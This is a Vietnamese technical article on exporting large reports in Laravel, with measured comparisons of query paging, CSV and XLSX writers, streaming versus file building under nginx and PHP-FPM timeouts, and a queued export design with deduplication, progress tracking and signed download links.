Xuất báo cáo nặng trong Laravel — không cạn RAM, không treo request, không ra file thiếu dòng
Đề phỏng vấn quen thuộc: "Admin bấm Xuất Excel 500 nghìn đơn hàng thì app sập. Anh xử lý thế nào?"
Câu trả lời "dùng chunk() rồi đẩy vào queue" chỉ đủ cho vòng đầu. Interviewer senior sẽ hỏi tiếp:
chunk nào, vì sao cursor() vẫn tốn RAM, file Excel thật hay CSV, user bấm 5 lần thì sao, worker chết giữa
chừng thì file nằm đâu, dữ liệu đổi trong lúc xuất thì file có đúng không? Bài này trả lời từng câu đó bằng
số đo thật trên 500 nghìn dòng.
Bài Tối ưu Laravel (mục 2.3 "Xuất file lớn — mẫu chuẩn" và Case 2 "Job xuất báo cáo bị OOM") đã đưa ra mẫu ngắn. Bài này là bản đào sâu của mẫu đó: đo lại từng lựa chọn, thêm phần chạy trong queue (chống trùng, tiến độ, link tải có hạn) và các kiểu hỏng có lab tái hiện.
Thuật ngữ dùng trong bài
export (xuất dữ liệu ra file cho người dùng tải) · hydration (biến một dòng DB thành object Eloquent Model — tốn RAM và CPU) · OFFSET paging (lấy trang bằngLIMIT 1000 OFFSET n) · keyset paging (lấy trang bằngWHERE id > id_cuối_trang_trước— cáchchunkById/lazyByIdlàm) · buffered query (driver kéo hết kết quả về RAM của PHP rồi mới cho đọc) · unbuffered query (đọc dần từ socket, dòng nào lấy dòng đó) · stream (ghi ra đích từng mẩu thay vì dựng cả file trong RAM) · TTFB (time to first byte — thời gian tới byte đầu tiên) · signed URL (link có chữ ký + hạn dùng, sửa một ký tự là hỏng) · retry_after (sau bao lâu queue coi job đang chạy là "mất" và giao lại) · formula injection (ô CSV bắt đầu bằng=bị Excel hiểu thành công thức).
Môi trường lab (mọi con số trong bài lấy từ đây): PHP 8.4.27 (php:8.4-fpm-alpine), Laravel 12.70.2, MySQL 8.4.13 (buffer pool 256MB), nginx 1.31.3, maatwebsite/excel 4.0.6, phpoffice/phpspreadsheet 5.10.0, openspout/openspout 5.13.0. Bảngorders500 000 dòng × 7 cột (~100MB, ~211 byte/dòng), 500 dòng có ghi chú bắt đầu bằng=HYPERLINK(...). PHP-FPMpm = static, 4 child,memory_limit = 128M,request_terminate_timeout = 40s; nginxfastcgi_read_timeout 15s; queue driver database,retry_after = 20(cố ý nhỏ cho lab). Host 4 vCPU dùng chung, nên số giây chỉ để so sánh giữa các cách với nhau, không phải số tuyệt đối. Script ởlabs/laravel/xuat-bao-cao-nang/— xem Phụ lục.
1. Bài toán gốc và bối cảnh ra đời
Một request web trong PHP-FPM được thiết kế cho việc ngắn và nhỏ: vài chục MB RAM, vài trăm mili-giây, một worker. Export phá cả ba giả định cùng lúc:
- RAM. Cách viết tự nhiên nhất (
Order::all()rồi đổ vào thư viện Excel) giữ cùng lúc trong RAM: toàn bộ kết quả thô từ driver, toàn bộ object Model, và toàn bộ ô bảng tính. Ở lab, chỉ riêng bước đọcOrder::select(...)->get()500 nghìn dòng đã lên 734MB; thêm PhpSpreadsheet thì 100 nghìn dòng đã tốn 610MB.memory_limitlà giới hạn cho mỗi tiến trình, nhân với số worker là ra RAM cả máy. - Thời gian. Request đi qua một chuỗi timeout: trình duyệt → load balancer → nginx
(
fastcgi_read_timeout) → PHP-FPM (request_terminate_timeout) → PHP (max_execution_time). Cái ngắn nhất thắng. Export 30 giây chạm timeout nginx; người dùng thấy 504 và bấm lại. - Chỗ ngồi trong pool. PHP-FPM có số worker cố định (
pm.max_children). Một export chiếm một worker suốt thời gian chạy; 4 export cùng lúc trên pool 4 worker là trang chủ phải xếp hàng (lab:/upđợi 12,4 giây — mục 5.3). Chi tiết cách tính số worker ở bài Scale nginx + PHP-FPM.
Lời giải hiện nay là ghép mấy kỹ thuật ra đời ở các thời điểm khác nhau, mỗi cái xử lý một giới hạn:
- Keyset paging (
chunkById,lazyById) giải giới hạn "OFFSET càng sâu càng chậm" và "giữ cả bảng trong RAM". - Writer dạng stream (
fputcsv, OpenSpout — hậu duệ của box/spout) ra đời vì PhpSpreadsheet được thiết kế để chỉnh sửa bảng tính (giữ mọi ô dưới dạng object để có thể sửa công thức, style bất kỳ chỗ nào), không phải để ghi một luồng dòng từ trên xuống. - Queue + file lưu ở storage + link tải có hạn tách thời gian chạy khỏi vòng đời request: request chỉ ghi nhận yêu cầu (vài mili-giây), worker chạy bao lâu cũng được, file nằm ở disk/S3, người dùng tải bằng link riêng.
Tối ưu cho: báo cáo dạng bảng phẳng, nhiều dòng, đọc tuần tự theo khoá, người dùng chấp nhận chờ vài chục giây tới vài phút. Không tối ưu cho: báo cáo cần định dạng phức tạp (merge ô, công thức, biểu đồ) trên dữ liệu lớn, dữ liệu cần "chụp" chính xác tại một thời điểm trên bảng ghi liên tục (mục 4.1), hay phân tích ad-hoc trên hàng chục triệu dòng — chỗ đó thuộc về kho dữ liệu/BI, không phải PHP.
2. Mô hình tư duy cốt lõi
Hai ý, mọi thứ còn lại suy ra từ đây:
- Export là một đường ống nguồn → biến đổi → đích. RAM bằng bộ đệm lớn nhất trên đường ống, không bằng kích thước
file. Nếu mọi khâu chỉ giữ một lô 1000 dòng rồi đẩy đi, RAM phẳng dù file 92MB hay 9GB. Chỉ cần một khâu gom
hết (driver buffered,
->get(), nối chuỗi, PhpSpreadsheet) là RAM tăng theo số dòng — và khâu đó quyết định cả đường ống. - Thời gian chạy export phải tách khỏi vòng đời request. Request chỉ nhận lệnh, ghi một dòng trạng thái và trả về ngay. Việc nặng chạy ở nơi không có timeout của người dùng (queue worker). Người dùng biết tiến độ qua dòng trạng thái và lấy kết quả qua một link riêng.
flowchart TD
U["Người dùng bấm Xuất"] --> C["POST /exports<br/>throttle 3/phút/user"]
C --> D{"INSERT exports<br/>active_key UNIQUE"}
D -- "trùng: đang có export giống hệt" --> R["200 + id cũ"]
D -- "thắng" --> Q["Đẩy ExportOrdersJob vào queue<br/>trả 202 + id"]
Q --> W["Worker: lazyById 1000 dòng/lần<br/>id <= max_id đã chốt"]
W --> F["fputcsv ra file trên disk/S3<br/>RAM phẳng ~32MB"]
W --> P["Mỗi 10k dòng: UPDATE processed"]
P --> G["GET /exports/{id}: tiến độ"]
F --> S["status=done, active_key=NULL"]
S --> L["Signed URL hết hạn sau 30 phút"]
L --> T["Tải file: 200 / sửa link: 403"]
Hệ quả trực tiếp của hai ý trên — sẽ được đo ở mục 3:
- Chọn cách đọc = chọn bộ đệm của khâu nguồn (mục 3.1). Chọn writer = chọn bộ đệm của khâu đích (mục 3.2).
- Stream trong request (
streamDownload) thoả ý 1 nhưng không thoả ý 2: RAM phẳng nhưng vẫn bị timeout chặn (mục 3.3). - Khi đã tách khỏi request thì phải tự làm lại những thứ request cho miễn phí: biết ai đang chờ, chống bấm trùng, báo lỗi, giao kết quả (mục 3.4).
3. Internals và quyết định thiết kế
3.1. Khâu nguồn: đọc 500 nghìn dòng bằng cách nào
Mỗi cách chạy trong một tiến trình PHP mới, memory_limit=1G, đọc 7 cột của cả bảng. peak là
memory_get_peak_usage(true), rss_hwm là RAM thật cao nhất của tiến trình (VmHWM). Output thật
(out/02-fetch.log):
get rows=500000 queries=1 peak=734.0MB rss_hwm=751MB time=7.56s
get_base rows=500000 queries=1 peak=509.6MB rss_hwm=526MB time=1.75s
chunk rows=500000 queries=501 peak=30.0MB rss_hwm=47MB time=45.77s
chunk_by_id rows=500000 queries=501 peak=30.0MB rss_hwm=47MB time=9.47s
lazy rows=500000 queries=501 peak=30.0MB rss_hwm=49MB time=49.59s
lazy_by_id rows=500000 queries=501 peak=30.0MB rss_hwm=49MB time=6.21s
lazy_by_id_base rows=500000 queries=501 peak=28.0MB rss_hwm=47MB time=2.48s
cursor rows=500000 queries=1 peak=125.6MB rss_hwm=143MB time=10.21s
cursor_base rows=500000 queries=1 peak=125.6MB rss_hwm=143MB time=1.45s
cursor_unbuf rows=500000 queries=1 peak=28.0MB rss_hwm=46MB time=10.31s
cursor_base_unbuf rows=500000 queries=1 peak=28.0MB rss_hwm=45MB time=1.28s
(_base = cùng câu query nhưng qua DB::table(), tức không hydrate thành Model; _unbuf = tắt
PDO::MYSQL_ATTR_USE_BUFFERED_QUERY.)
Đọc bảng này theo bốn quyết định thiết kế:
get(): một query, giữ mọi thứ. 734MB cho 500 nghìn Model — khoảng 1,5KB mỗi dòng, gấp ~7 lần dữ liệu thật (~211 byte/dòng). Bỏ hydration (get_base) còn 509,6MB vì vẫn giữ 500 nghìn mảng/stdClass. Cùng code đó vớimemory_limit=256M:Allowed memory size of 268435456 bytes exhausted, exit 255. Đánh đổi: nhanh và đơn giản nhất, đổi bằng RAM tỷ lệ thuận với số dòng.chunk()/lazy()vschunkById()/lazyById(): cùng RAM, chênh 5–8 lần thời gian. Cả bốn đều chạy 501 query và giữ ~30MB. Khác nhau ở câu query:chunksinhORDER BY id LIMIT 1000 OFFSET n, nên trang thứ 400 bắt MySQL đọc rồi bỏ 399 000 dòng đầu — tổng công việc tăng theo bình phương số trang (45,77s). BảnByIdsinhWHERE id > :id_cuối ORDER BY id LIMIT 1000, mỗi trang là một lần nhảy thẳng vào index (9,47s). Đánh đổi của keyset: phải có cột tăng dần, duy nhất và có index; không sắp xếp theo cột khác được (muốn xuất theocreated_atthì cần index ghép và cursor hai cột — chưa làm trong lab).- Hydration tốn gần 2/3 thời gian.
lazy_by_id6,21s →lazy_by_id_base2,48s;cursor10,21s →cursor_base1,45s. Export không cần accessor, event, relation — chỉ cần giá trị cột. Dùng->toBase()hoặcDB::table(). cursor()mặc định vẫn giữ cả kết quả thô: 125,6MB.cursor()chỉ hydrate một Model mỗi lúc, nhưng driver MySQL mặc định chạy buffered: kéo toàn bộ 500 nghìn dòng thô vào RAM của PHP trước khi trả dòng đầu. Tài liệu Laravel 12 nói đúng điều này:cursor"will still eventually run out of memory" do PDO cache toàn bộ kết quả thô. Vớimemory_limit=128Mlab vẫn chạy qua (peak 125,6MB — sát nút); thêm vài cột text là chết. Tắt buffer thì xuống 28MB, nhưng đổi lại hai cái bẫy ở mục 5.8.
Còn một chi tiết hay bị nhắc sai: query log mặc định đã tắt. Lab in ra
DB logging enabled by default: false — DB::disableQueryLog() chỉ còn tác dụng khi ai đó đã bật nó (Debugbar,
Telescope, code debug), nên vẫn nên gọi ở đầu job dài như một hàng rào rẻ tiền.
// Khâu nguồn khuyến nghị: keyset + không hydrate + chốt cận trên
DB::table('orders')
->select(['id', 'customer_name', 'email', 'status', 'total', 'note', 'created_at'])
->where('id', '<=', $export->max_id) // chốt lúc tạo yêu cầu, xem mục 4.1
->lazyById(1000) // WHERE id > :last ORDER BY id LIMIT 1000
->each(fn ($o) => Csv::put($fh, Csv::row($o)));
// Bằng chứng giới hạn: chạy được với memory_limit=32M
// rows=500000 queries=501 peak=30.0MB rss_hwm=49MB time=8.83s
Cách nói khi phỏng vấn: "Em đọc theo khoá chính từng lô một nghìn dòng: mỗi lô hỏi 'cho tôi một nghìn đơn có mã lớn hơn mã cuối của lô trước', nên lô thứ bốn trăm cũng nhanh như lô đầu, khác với phân trang bằng offset phải đọc rồi bỏ cả trăm nghìn dòng. Em không dựng Model, chỉ lấy giá trị cột, vì riêng bước dựng Model đã chiếm gần hai phần ba thời gian. Em chốt mã lớn nhất ngay lúc người dùng bấm, để đơn mới phát sinh trong lúc chạy không lọt vào. Đo trên năm trăm nghìn dòng thì RAM đứng yên ở khoảng ba mươi MB, chạy được kể cả khi giới hạn chỉ ba mươi hai MB."
flowchart TD
A["Cần đọc N dòng"] --> B{"Có cột id tăng dần, có index?"}
B -- "có" --> C["lazyById / chunkById<br/>RAM ~ 1 lô, thời gian ~ tuyến tính"]
B -- "không, phải ORDER BY cột khác" --> D["Keyset 2 cột (created_at, id)<br/>hoặc cursor unbuffered + connection riêng"]
C --> E{"Cần Model (accessor, relation)?"}
E -- "không" --> F["toBase() / DB::table()<br/>nhanh gấp ~2,5 lần"]
E -- "có" --> G["Giữ Eloquent, eager load theo lô"]
A -.-> X["Tránh: get(), chunk() OFFSET,<br/>cursor() buffered trên bảng lớn"]
3.2. Khâu đích: ghi CSV hay XLSX, bằng thư viện nào
Cùng một nguồn (lazyById, không hydrate), chỉ đổi writer. Output thật (out/03-writers.log, rút gọn):
### rows=10000
csv rows=10000 peak=28.0MB rss_hwm=47MB time=0.16s size=1.8MB
csv_string rows=10000 peak=30.0MB rss_hwm=49MB time=0.15s size=1.7MB
openspout rows=10000 peak=30.0MB rss_hwm=48MB time=0.99s size=0.4MB
### rows=100000
csv rows=100000 peak=28.0MB rss_hwm=47MB time=1.62s size=18.1MB
csv_string rows=100000 peak=48.0MB rss_hwm=66MB time=0.93s size=17.6MB
openspout rows=100000 peak=30.0MB rss_hwm=52MB time=7.07s size=4.1MB
### rows=500000
csv rows=500000 peak=28.0MB rss_hwm=47MB time=6.14s size=92.4MB
csv_string rows=500000 peak=120.0MB rss_hwm=138MB time=4.40s size=89.6MB
openspout rows=500000 peak=30.0MB rss_hwm=68MB time=37.06s size=20.3MB
### PhpSpreadsheet / Laravel Excel, memory_limit=1G
phpspreadsheet rows=10000 peak=107.6MB rss_hwm=107MB time=2.38s size=0.5MB
laravel_excel rows=10000 peak=107.6MB rss_hwm=107MB time=2.09s size=0.5MB
phpspreadsheet rows=50000 peak=334.1MB rss_hwm=322MB time=11.92s size=2.3MB
laravel_excel rows=50000 peak=336.1MB rss_hwm=324MB time=12.26s size=2.3MB
phpspreadsheet rows=100000 peak=610.1MB rss_hwm=581MB time=24.87s size=4.6MB
laravel_excel rows=100000 peak=610.1MB rss_hwm=581MB time=28.05s size=4.6MB
### PhpSpreadsheet 500k rows under memory_limit=512M
exit=255 (expected: fatal OOM)
Allowed memory size of 536870912 bytes exhausted
| Writer | RAM theo số dòng | 500k dòng | Đánh đổi |
|---|---|---|---|
fputcsv ra file | phẳng 28MB | 6,1s · 92,4MB | Nhanh nhất, file to nhất; không style, không kiểu dữ liệu — Excel tự đoán kiểu (số điện thoại mất số 0 đầu, ngày theo locale) |
| Nối chuỗi rồi ghi | tăng: 30 → 48 → 120MB | 4,4s · 89,6MB | Nhanh hơn chút vì ít lời gọi hàm, nhưng RAM = kích thước file. Bản này còn không escape dấu phẩy/nháy (file 89,6MB nhỏ hơn 92,4MB chính vì thiếu dấu nháy) — tức là sai |
| OpenSpout XLSX | gần phẳng 30MB (RSS 68MB) | 37,1s · 20,3MB | XLSX thật, file nhỏ hơn 4,5 lần (zip), chậm hơn 6 lần CSV; ghi dòng qua file tạm rồi nén khi close() |
| PhpSpreadsheet / Laravel Excel | tăng: 107 → 334 → 610MB | hết RAM ở 512M | Đầy đủ tính năng (style, công thức, nhiều sheet, đọc-sửa-ghi); mỗi ô là một object |
Ba quyết định thiết kế cần hiểu:
- PhpSpreadsheet giữ mọi ô trong RAM — có chủ đích. Thư viện là mô hình bảng tính để sửa: bạn có thể đặt công thức ở A1 tham chiếu Z99999 rồi tính lại. Muốn thế thì phải giữ mọi ô. Tài liệu của nó ghi "trung bình khoảng 1KB/ô (1,6KB trên PHP 64-bit)"; lab đo 100 000 dòng × 7 ô = 700 000 ô ở 610MB, tức ~0,9KB/ô — khớp bậc. Cell caching (PSR-16, ra Redis/APCu) giảm RAM nhưng đổi bằng tốc độ, và vẫn không biến nó thành writer stream.
- Laravel Excel
FromQuerykhông phải là stream. TênFromQuery+ "query được chạy theo chunk" dễ làm tưởng RAM phẳng. Đọc source 4.0.6:Sheet::fromQuery()gọi$query->chunk()(OFFSET paging,src/Sheet.php:523) và đổ từng lô vào cùng một Worksheet của PhpSpreadsheet. Chunk chỉ giảm số Model sống cùng lúc; ô bảng tính vẫn tích luỹ. Số đo trùng gần như tuyệt đối với PhpSpreadsheet trần (610,1MB cả hai) là bằng chứng. - OpenSpout đánh đổi tính năng lấy RAM. Chỉ ghi từ trên xuống, không quay lại sửa ô cũ, mặc định dùng inline string (không gom chuỗi trùng). Tài liệu của nó nói Apple Numbers/iOS không đọc inline string — nếu khách dùng Mac/iPhone mở file, phải bật shared strings. Đây là lựa chọn đúng khi khách hàng bắt buộc XLSX.
// Writer XLSX dạng stream: RAM gần phẳng, chậm hơn CSV ~6 lần
use OpenSpout\Common\Entity\Row;
use OpenSpout\Writer\XLSX\Writer;
$x = new Writer();
$x->openToFile($path); // ghi ra file tạm, nén zip khi close()
$x->addRow(Row::fromValues(Csv::HEAD));
foreach ($source as $o) {
$x->addRow(Row::fromValues(Csv::row($o))); // 1 dòng vào, 1 dòng ra đĩa
}
$x->close();
Cách nói khi phỏng vấn: "Mặc định em xuất CSV vì nó ghi được từng dòng ra đĩa, RAM đứng yên dù file lớn cỡ nào. Nếu nghiệp vụ bắt buộc file Excel thật thì em dùng một thư viện ghi kiểu dòng chảy như OpenSpout, chấp nhận chậm hơn khoảng sáu lần. Em tránh PhpSpreadsheet và Laravel Excel cho dữ liệu lớn vì chúng giữ mọi ô trong bộ nhớ, khoảng một KB một ô: đo thật một trăm nghìn dòng đã hơn sáu trăm MB. Tên FromQuery dễ làm hiểu nhầm là đọc theo lô thì RAM phẳng, nhưng lô chỉ giảm số Model, còn ô bảng tính vẫn dồn lại."
flowchart TD
A["Khách cần file gì?"] --> B{"Bắt buộc .xlsx?"}
B -- "không" --> C["fputcsv + BOM UTF-8<br/>RAM phẳng, nhanh nhất"]
B -- "có" --> D{"Cần style, công thức,<br/>nhiều sheet phức tạp?"}
D -- "không" --> E["OpenSpout<br/>RAM gần phẳng, chậm hơn ~6x"]
D -- "có" --> F{"Dưới vài chục nghìn dòng?"}
F -- "có" --> G["PhpSpreadsheet / Laravel Excel<br/>~1KB/ô, chấp nhận được"]
F -- "không" --> H["Tách: dữ liệu thô bằng OpenSpout<br/>+ sheet tổng hợp nhỏ bằng PhpSpreadsheet"]
3.3. Chạy ngay trong request: stream vs dựng file rồi gửi
Hai route cùng đọc lazyById và fputcsv, chỉ khác đích: /export/stream ghi thẳng vào
php://output trong streamDownload; /export/build ghi ra file tạm rồi
response()->download(). Tham số delay làm chậm nhân tạo (40ms mỗi 1000 dòng ≈ +20s) để mô phỏng query
nặng hơn. Đi qua nginx thật, output thật (out/04-in-request.log):
### A. stream, no delay (500k rows)
http=200 ttfb=0.045143s total=8.970999s bytes=96934580 lines=500001
### B. build file first, then send, no delay
http=200 ttfb=12.943442s total=13.596687s bytes=96934487 lines=500000
### C. build, slowed to ~25 s (40 ms per 1000 rows) — longer than nginx fastcgi_read_timeout=15s
http=504 ttfb=15.013187s total=15.066919s bytes=167 lines=7
### D. stream, same slowdown ~25 s — bytes keep flowing
http=200 ttfb=0.043129s total=31.394242s bytes=96934580 lines=500001
### E. stream, slowed to ~50 s (100 ms/1000 rows) — longer than FPM request_terminate_timeout=40s
http=200 ttfb=0.037079s total=49.528704s bytes=81937559 lines=422997
Và phía PHP (lab.log + log FPM):
18:19:57 pid=9 stream start
18:20:06 pid=9 stream done rows=500000 peak=4.0MB time=8.9s
18:20:21 pid=10 build start
18:20:51 pid=10 build done rows=500000 time=30.7s connection_aborted=0
WARNING: [pool www] child 9, script '/app/public/index.php' (request: "GET /index.php?delay=100") execution timed out (49.520227 sec), terminating
Năm điều rút ra, theo thứ tự quan trọng:
- Stream qua được timeout nginx, dựng file thì không.
fastcgi_read_timeoutkhông phải tổng thời gian request — nó là khoảng lặng tối đa giữa hai lần đọc từ PHP-FPM. Stream đẩy byte liên tục nên chạy 31,4s vẫn 200 (D). Dựng file thì im lặng tới khi xong, nên đúng giây 15 nginx trả 504 (C). - Sau 504, PHP vẫn chạy tiếp tới cuối:
build done ... time=30.7s connection_aborted=0. Người dùng đã thấy lỗi từ giây 15, worker vẫn bị chiếm thêm 15 giây, và PHP không hề biết client đã đi (nó chỉ phát hiện khi ghi ra output). Nếu người dùng bấm lại, có hai export nặng chạy song song. - Stream bị FPM giết giữa chừng ra file thiếu dòng với HTTP 200. Case E: header 200 đã gửi từ mili-giây đầu, nên khi
request_terminate_timeoutgiết worker, không còn cách nào báo lỗi. Trình duyệt nhận 422 997/500 000 dòng, curl exit 0, dòng cuối bị cắt giữa chừng (khach422997@example.co). Người dùng mở file thấy "có dữ liệu" và không biết thiếu 15%. Đây là kiểu hỏng nguy hiểm nhất của cả bài. - Timeout FPM không chính xác tới giây. Đặt 40s, bị giết ở 49,5s. Đọc source PHP 8.4
(
sapi/fpm/fpm/fpm_conf.c): FPM kiểm tra định kỳ mỗirequest_terminate_timeout × 1000 / 3ms = 13,3s, nên thời điểm giết rơi đâu đó trong khoảng 40–53s. - TTFB: stream 0,045s, dựng file 12,9s. Với trình duyệt, stream bắt đầu tải ngay; dựng file thì người dùng nhìn màn hình trắng.
// Stream trong request: hợp lệ cho file vừa, chạy chắc chắn dưới mọi timeout
return response()->streamDownload(function () {
$out = fopen('php://output', 'w');
fwrite($out, "\xEF\xBB\xBF"); // BOM: Excel mở UTF-8 tiếng Việt đúng
Csv::put($out, Csv::HEAD);
DB::table('orders')->select(Csv::COLS)->lazyById(1000)
->each(fn ($o) => Csv::put($out, Csv::row($o)));
fclose($out);
}, 'orders.csv', ['Content-Type' => 'text/csv; charset=UTF-8']);
// Đo: 500k dòng, 8,9s, peak 4.0MB trong FPM (opcache bật; CLI không opcache là 28MB)
Cách nói khi phỏng vấn: "Stream ngay trong request giữ RAM chỉ vài MB và vượt được timeout của nginx, vì nginx chỉ đếm khoảng lặng giữa hai lần nhận dữ liệu chứ không đếm tổng thời gian. Nhưng nó vẫn bị giới hạn tổng thời gian của PHP-FPM, và khi bị cắt giữa chừng thì mã 200 đã gửi đi rồi, người dùng nhận một file thiếu dòng mà không có báo lỗi nào. Em đo được trường hợp nhận bốn trăm hai mươi ba nghìn trên năm trăm nghìn dòng. Nên em chỉ stream khi chắc chắn chạy xong trong vài giây; còn lại đưa vào queue."
sequenceDiagram participant B as Trình duyệt participant N as nginx (read 15s) participant F as PHP-FPM (terminate 40s) B->>N: GET /export/build N->>F: FastCGI Note over F: dựng file 30,7s, chưa gửi byte nào N-->>B: 504 ở giây 15 Note over F: vẫn chạy tiếp, connection_aborted=0 B->>N: GET /export/stream?delay=100 N->>F: FastCGI F-->>B: 200 + byte liên tục Note over F: giây 49,5 bị terminate F-->>B: kết nối đóng, file 422997 dòng
3.4. Chạy trong queue: luồng khuyến nghị và từng mảnh của nó
Tách request khỏi việc nặng làm phát sinh bốn việc mà request đồng bộ cho không: (a) biết ai đang chờ cái gì, (b) chặn bấm trùng,
(c) báo tiến độ và lỗi, (d) giao file an toàn. Lab dùng bảng exports làm "sổ" cho cả bốn:
Schema::create('exports', function (Blueprint $t) {
$t->id();
$t->unsignedBigInteger('user_id');
$t->char('filter_hash', 40); // sha1(bộ lọc đã chuẩn hoá)
$t->string('active_key', 80)->nullable()->unique(); // "user:hash" khi đang chạy, NULL khi xong
$t->string('status', 20)->default('queued'); // queued | running | done | failed
$t->unsignedInteger('processed')->default(0);
$t->unsignedBigInteger('max_id'); // chốt cận trên lúc tạo yêu cầu
$t->string('path')->nullable();
// ... peak_mb, error, finished_at, timestamps
});
Cách nói khi phỏng vấn: "Mỗi yêu cầu xuất là một dòng trong bảng exports, ghi ai yêu cầu, bộ lọc gì, đang ở trạng thái nào, đã xử lý bao nhiêu dòng và file nằm đâu. Cột khoá-đang-chạy là duy nhất: khi export còn chạy thì nó mang giá trị người dùng cộng bộ lọc, chạy xong thì về rỗng. Nhờ vậy database tự chặn hai yêu cầu giống hệt nhau cùng lúc, mà xong rồi thì xuất lại vẫn được. Cột mã lớn nhất chốt phạm vi dữ liệu ngay lúc bấm."
(a + b) Controller: chống trùng bằng unique index, giới hạn tần suất bằng throttle.
RateLimiter::for('exports', fn (Request $r) => Limit::perMinute(3)->by($r->user()->id));
Route::post('/exports', [ExportController::class, 'store'])->middleware('throttle:exports');
public function store(Request $r)
{
$hash = sha1(json_encode($r->validated())); // bộ lọc đã chuẩn hoá
$key = $r->user()->id . ':' . $hash;
try {
$e = Export::create(['user_id' => $r->user()->id, 'filter_hash' => $hash,
'active_key' => $key, 'max_id' => DB::table('orders')->max('id')]);
} catch (UniqueConstraintViolationException) {
return response()->json(['id' => Export::where('active_key', $key)->value('id'), 'dedup' => true]);
}
ExportOrdersJob::dispatch($e->id)->onQueue('exports');
return response()->json(['id' => $e->id], 202);
}
Cách nói khi phỏng vấn: "Controller không làm gì nặng: nó thử ghi một dòng yêu cầu. Nếu database báo trùng khoá thì nghĩa là đúng người này với đúng bộ lọc này đang có một export chạy, em trả lại mã của export đó thay vì tạo cái mới, nên năm cú bấm liên tiếp chỉ ra một việc. Thắng thì em đẩy job vào hàng đợi riêng cho export và trả 202 kèm mã để giao diện theo dõi. Ngoài ra mỗi người chỉ được tạo ba export một phút, để một người không chiếm hết worker."
Bắn 5 request song song cùng người, cùng bộ lọc, ba phương án (out/05-queue.log):
### A. naive: 5 concurrent POST, same user + same filter
202 202 202 202 202
exports=5 jobs=5
### B. ShouldBeUnique: 5 concurrent POST
202 202 202 202 202
jobs=1 cache_locks=1
### C. unique index on exports.active_key: 5 concurrent POST
202 200 200 200 200
exports=1 jobs=1
export id=2 status=queued active_key=12:68bc7f0b693922664868e52dc6fec14e2ada5f8f max_id=500000
AUTO_INCREMENT next=6
### D. rate limit 3/min per user (different filters, so dedupe does not apply)
202 202 202 429 429
- Không chống trùng: 5 export, 5 job — 5 lần đọc 500 nghìn dòng.
ShouldBeUnique: đúng là chỉ 1 job vào queue, nhưng cả 5 request đều nhận 202 và không có id nào để theo dõi: 4 lần dispatch bị bỏ qua trong im lặng. Khoá nằm ở cache (cache_locks), không gắn với bản ghi nghiệp vụ nào. Tài liệu Laravel còn nói rõ: ràng buộc unique không áp dụng cho job nằm trong batch, và cần cache driver hỗ trợ atomic lock dùng chung giữa mọi server.- Unique index: 1 thắng (202), 4 nhận 200 + cùng id. Lưu ý
AUTO_INCREMENT next=6và id thắng là 2: bốn lần INSERT thua vẫn tiêu số tự tăng, nên id export sẽ có lỗ — vô hại, nhưng đừng dùng id làm số thứ tự liên tục. - Throttle chặn thứ khác: cùng người nhưng 5 bộ lọc khác nhau, cái thứ 4–5 bị 429. Chống trùng và giới hạn tần suất là hai lớp, không thay nhau (xem thêm 4 tầng ở bài Chống double-submit).
flowchart TD
A["5 request song song<br/>cùng user + bộ lọc"] --> B["INSERT exports<br/>active_key = user:hash"]
B --> C{"Unique index"}
C -- "1 thắng" --> D["dispatch job<br/>202 + id=2"]
C -- "4 thua" --> E["SELECT id WHERE active_key<br/>200 + id=2"]
D --> F["Job xong: active_key = NULL"]
F --> G["Bấm lại sau đó: tạo export mới (202)"]
(c) Job: một job, đọc theo keyset, ghi file, báo tiến độ mỗi 10 nghìn dòng.
class ExportOrdersJob implements ShouldQueue
{
use Queueable;
public int $timeout = 600; // phải NHỎ hơn retry_after của connection (mục 5.6)
public int $tries = 1;
public bool $failOnTimeout = true;
public function handle(): void
{
DB::disableQueryLog();
$e = Export::findOrFail($this->exportId);
$e->update(['status' => 'running']);
$path = "exports/{$e->id}-" . Str::random(16) . '.csv'; // tên khó đoán
$fh = fopen(Storage::disk('local')->path($path), 'w');
fwrite($fh, "\xEF\xBB\xBF");
Csv::put($fh, Csv::HEAD);
$n = 0;
DB::table('orders')->select(Csv::COLS)->where('id', '<=', $e->max_id)
->lazyById(1000)->each(function ($o) use ($fh, &$n, $e) {
Csv::put($fh, Csv::row($o));
if (++$n % 10000 === 0) {
DB::table('exports')->where('id', $e->id)->update(['processed' => $n]);
}
});
fclose($fh);
$e->update(['status' => 'done', 'path' => $path, 'processed' => $n,
'active_key' => null, 'finished_at' => now()]);
}
public function failed(?Throwable $ex): void
{
Export::whereKey($this->exportId)->update(['status' => 'failed', 'active_key' => null,
'error' => substr((string) $ex?->getMessage(), 0, 200)]);
}
}
Cách nói khi phỏng vấn: "Job đọc theo lô một nghìn dòng trong phạm vi mã đã chốt, ghi từng dòng thẳng ra file, cứ mười nghìn dòng thì cập nhật số đã xử lý để giao diện hiển thị tiến độ. Xong thì đánh dấu hoàn tất, ghi đường dẫn file và giải phóng khoá chống trùng. Hỏng thì hàm failed đánh dấu thất bại và cũng giải phóng khoá, để người dùng thử lại được. Thời gian tối đa của job em đặt nhỏ hơn thời gian queue chờ trước khi giao lại job, nếu không sẽ có hai worker cùng chạy một export."
Chạy 1 worker (memory_limit=128M), giao diện poll GET /exports/2 mỗi 2 giây (job có thêm 300ms trễ mỗi 10
nghìn dòng để quan sát được tiến độ):
0.1s {"status":"queued","processed":0,"peak_mb":null,"url":null}
2.2s {"status":"running","processed":30000,"peak_mb":null,"url":null}
4.3s {"status":"running","processed":80000,"peak_mb":null,"url":null}
...
23.3s {"status":"running","processed":500000,"peak_mb":null,"url":null}
25.4s {"status":"done","processed":500000,"peak_mb":"32.0","url":"http:\/\/127.0.0.1:18480\/expo
2026-10-28 18:36:43 App\Jobs\ExportOrdersJob RUNNING
2026-10-28 18:37:05 App\Jobs\ExportOrdersJob 22s DONE
status=done processed=500000 worker peak_mb=32.0 active_key=NULL
### F. same request again after done -> new export allowed
202
(d) Giao file bằng signed URL có hạn.
// show(): chỉ sinh link khi đã xong; link chứa expires + signature (HMAC theo APP_KEY)
'url' => $export->status === 'done'
? URL::temporarySignedRoute('exports.download', now()->addMinutes(30), ['export' => $export->id])
: null,
Route::get('/exports/{export}/download', [ExportController::class, 'download'])
->name('exports.download')->middleware('signed');
public function download(Export $export)
{
return Storage::disk('local')->download($export->path, "orders-{$export->id}.csv");
}
url: http://127.0.0.1:18480/exports/2/download?expires=1793214429&signature=1e8ac39da8d3...
download: http=200 bytes=96934580
lines=500001
same signature, other export id (8): http=403
no signature: http=403
ttl=2s, right away: http=200
ttl=2s, after 3 s: http=403
